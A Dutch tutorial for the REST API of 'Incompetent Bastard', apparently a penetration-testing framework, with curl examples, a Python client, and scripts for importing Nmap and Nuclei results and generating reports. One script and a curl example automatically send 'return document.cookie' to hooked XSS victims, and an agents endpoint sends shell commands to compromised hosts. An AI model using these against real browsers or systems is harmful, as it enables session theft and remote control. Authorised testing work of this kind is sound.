IB Automatisering met de API

Incompetent Bastard (IB) biedt een uitgebreide REST API waarmee je vrijwel alle functionaliteit kunt aansturen via scripts. In deze tutorial leer je de volledige API kennen en bouwen we praktische Python-scripts om je pentestworkflow te automatiseren.

IB – De IB API gebruikt JSON als dataformaat. Dashboard-endpoints vereisen localhost-toegang. Lab-endpoints (XSS, XXE, CSRF, SQLi, SSRF) zijn bewust onbeveiligd.

Vereisten

flask --app app:create_app run --host 127.0.0.1 --port 5000

Endpoint-overzicht

Settings API

curl http://127.0.0.1:5000/api/settings
curl -X POST http://127.0.0.1:5000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"localhost":"http://10.10.14.5:5000"}'

Findings API

curl "http://127.0.0.1:5000/api/findings?severity=critical&status=final"
curl -X POST http://127.0.0.1:5000/api/findings/1/status \
  -H "Content-Type: application/json" -d '{"status":"final"}'
curl -X POST http://127.0.0.1:5000/api/findings/1/remediation \
  -H "Content-Type: application/json" \
  -d '{"status":"fixed","target_date":"2026-04-01","owner":"IT Security"}'
curl -X POST http://127.0.0.1:5000/api/findings/batch-action \
  -H "Content-Type: application/json" \
  -d '{"ids":[1,2,3],"action":"set_status","value":"final"}'

CVSS, XSS, SQLi, agents, notes, rapport

# CVSS 4.0
curl "http://127.0.0.1:5000/api/cvss4/calculate?vector=CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"

# XSS
curl http://127.0.0.1:5000/api/xxs/hooked
curl http://127.0.0.1:5000/api/xxs/commands
curl -X POST http://127.0.0.1:5000/api/xxs/commands \
  -H "Content-Type: application/json" -d '{"host":"*","opdracht":"return document.cookie"}'

# SQLi
curl http://127.0.0.1:5000/api/sqli/data
curl http://127.0.0.1:5000/api/sqli/cheatsheet

# XXE, CSRF, SSRF
curl http://127.0.0.1:5000/api/xxe/data
curl http://127.0.0.1:5000/api/csrf/data
curl http://127.0.0.1:5000/api/ssrf/data

# Agents
curl http://127.0.0.1:5000/api/agents
curl -X POST http://127.0.0.1:5000/api/agents/AGENT_ID/command \
  -H "Content-Type: application/json" -d '{"command":"whoami"}'
curl http://127.0.0.1:5000/api/agents/AGENT_ID/history

# Notes
curl http://127.0.0.1:5000/api/notes
curl -X POST http://127.0.0.1:5000/api/notes/1/toggle-rapport
curl -X POST http://127.0.0.1:5000/api/notes/reorder \
  -H "Content-Type: application/json" -d '{"order":[3,1,2]}'

# Rapport
curl http://127.0.0.1:5000/api/report/validate
curl -X POST http://127.0.0.1:5000/api/report/generate \
  -H "Content-Type: application/json" -d '{"include_draft":false}'
curl -O http://127.0.0.1:5000/api/report/download/pdf

# Export
curl http://127.0.0.1:5000/api/findings/export
curl -O http://127.0.0.1:5000/api/findings/export/csv
curl http://127.0.0.1:5000/api/stix
curl http://127.0.0.1:5000/api/changelog

Python wrapper class

import requests

class IBClient:
    """Python wrapper voor de Incompetent Bastard API."""

    def __init__(self, base_url="http://127.0.0.1:5000"):
        self.base = base_url.rstrip("/")
        self.session = requests.Session()

    def _get(self, path, **kw):
        return self.session.get(f"{self.base}{path}", **kw)

    def _post(self, path, data=None, **kw):
        return self.session.post(f"{self.base}{path}", json=data, **kw)

    def get_settings(self):
        return self._get("/api/settings").json()

    def update_settings(self, **kw):
        return self._post("/api/settings", data=kw).json()

    def get_findings(self, severity=None, status=None, q=None):
        params = {k: v for k, v in {"severity": severity, "status": status, "q": q}.items() if v}
        return self._get("/api/findings", params=params).json()

    def import_findings(self, findings_list):
        return self._post("/api/findings/import", data={"project_findings": findings_list}).json()

    def set_finding_status(self, fid, status):
        return self._post(f"/api/findings/{fid}/status", data={"status": status}).json()

    def batch_action(self, ids, action, value):
        return self._post("/api/findings/batch-action", data={"ids": ids, "action": action, "value": value}).json()

    def export_csv(self, path="findings.csv"):
        r = self._get("/api/findings/export/csv")
        with open(path, "w") as f:
            f.write(r.text)
        return path

    def calculate_cvss4(self, vector):
        return self._get("/api/cvss4/calculate", params={"vector": vector}).json()

    def get_agents(self):
        return self._get("/api/agents").json()

    def send_command(self, agent_id, command):
        return self._post(f"/api/agents/{agent_id}/command", data={"command": command}).json()

    def get_hooked_clients(self):
        return self._get("/api/xxs/hooked").json()

    def send_xss_command(self, host, opdracht):
        return self._post("/api/xxs/commands", data={"host": host, "opdracht": opdracht}).json()

    def validate_report(self):
        return self._get("/api/report/validate").json()

    def generate_report(self, include_draft=False):
        return self._post("/api/report/generate", data={"include_draft": include_draft}).json()

    def check_report_status(self, run_id):
        return self._get(f"/api/report/generate/{run_id}").json()

    def download_report(self, fmt, path=None):
        r = self._get(f"/api/report/download/{fmt}")
        p = path or f"rapport.{fmt}"
        with open(p, "wb") as f:
            f.write(r.content)
        return p

Praktijkscript 1: Nmap-resultaten importeren

import xml.etree.ElementTree as ET
from ib_client import IBClient

def nmap_to_findings(nmap_xml_path):
    ib = IBClient()
    tree = ET.parse(nmap_xml_path)
    findings = []

    for host in tree.getroot().findall("host"):
        addr = host.find("address").get("addr", "unknown")
        ports = host.find("ports")
        if ports is None:
            continue
        for port in ports.findall("port"):
            state = port.find("state")
            if state is None or state.get("state") != "open":
                continue
            portid = port.get("portid")
            protocol = port.get("protocol", "tcp")
            service = port.find("service")
            svc_name = service.get("name", "unknown") if service else "unknown"
            findings.append({
                "title": f"Open poort: {portid}/{protocol} ({svc_name})",
                "location": f"{addr}:{portid}",
                "cvss_v4_score": 0.0,
                "status": "draft",
            })

    if findings:
        result = ib.import_findings(findings)
        print(f"[+] {result.get('created_findings', 0)} findings aangemaakt")

if __name__ == "__main__":
    import sys
    nmap_to_findings(sys.argv[1])

IB – Nmap XML output maak je met nmap -oX scan.xml. De script herkent automatisch open poorten en services.

Praktijkscript 2: XSS-client monitor

import time
from ib_client import IBClient

def monitor_hooked_clients(interval=10):
    ib = IBClient()
    known_ips = set()
    print("[*] XSS client monitor gestart...")

    while True:
        try:
            for client in ib.get_hooked_clients():
                ip = client.get("ip")
                if ip and ip not in known_ips:
                    known_ips.add(ip)
                    print(f"[+] NIEUWE CLIENT: {ip}{client.get('agent', 'unknown')}")
                    ib.send_xss_command(ip, "return document.cookie")
        except Exception as e:
            print(f"[!] Fout: {e}")
        time.sleep(interval)

if __name__ == "__main__":
    monitor_hooked_clients()

Praktijkscript 3: Rapport genereren en downloaden

import time
from ib_client import IBClient

def generate_full_report():
    ib = IBClient()
    val = ib.validate_report()
    print(f"[*] {val.get('findings_count', 0)} findings, {len(val.get('warnings',[]))} warnings")

    result = ib.generate_report(include_draft=False)
    run_id = result.get("run_id")
    print(f"[*] Generatie gestart: {run_id}")

    while True:
        status = ib.check_report_status(run_id)
        if status.get("status") in ("success", "failed"):
            break
        time.sleep(2)

    if status.get("status") == "success":
        for fmt in ("pdf", "docx", "html", "sarif", "stix"):
            try:
                path = ib.download_report(fmt)
                print(f"[+] {path}")
            except Exception as e:
                print(f"[-] {fmt}: {e}")

if __name__ == "__main__":
    generate_full_report()

Integratie met nuclei

import json
from ib_client import IBClient

def nuclei_sarif_to_ib(sarif_path):
    ib = IBClient()
    with open(sarif_path) as f:
        sarif = json.load(f)

    findings = []
    score_map = {"error": 8.0, "warning": 5.0, "note": 2.0}
    for run in sarif.get("runs", []):
        for result in run.get("results", []):
            title = result.get("message", {}).get("text", "Unknown")
            level = result.get("level", "note")
            location = ""
            for loc in result.get("locations", []):
                uri = loc.get("physicalLocation", {}).get("artifactLocation", {}).get("uri", "")
                if uri:
                    location = uri
                    break
            findings.append({
                "title": title[:200],
                "location": location,
                "cvss_v4_score": score_map.get(level, 2.0),
                "status": "draft",
            })

    if findings:
        result = ib.import_findings(findings)
        print(f"[+] {result.get('created_findings', 0)} findings geimporteerd")

Foutafhandeling

De API retourneert standaard HTTP-statuscodes: 200 (succes), 201 (aangemaakt), 204 (geen content), 400 (ongeldige request), 403 (geen toegang), 404 (niet gevonden). Bij fouten bevat de response een error-veld:

{"ok": false, "error": "ongeldige status"}

IB – Gebruik altijd try/except in scripts. De API kan onbeschikbaar zijn als IB herstart.

Samenvatting

De IB REST API maakt het mogelijk om je volledige pentestworkflow te automatiseren:

De volledige broncode is beschikbaar op GitHub.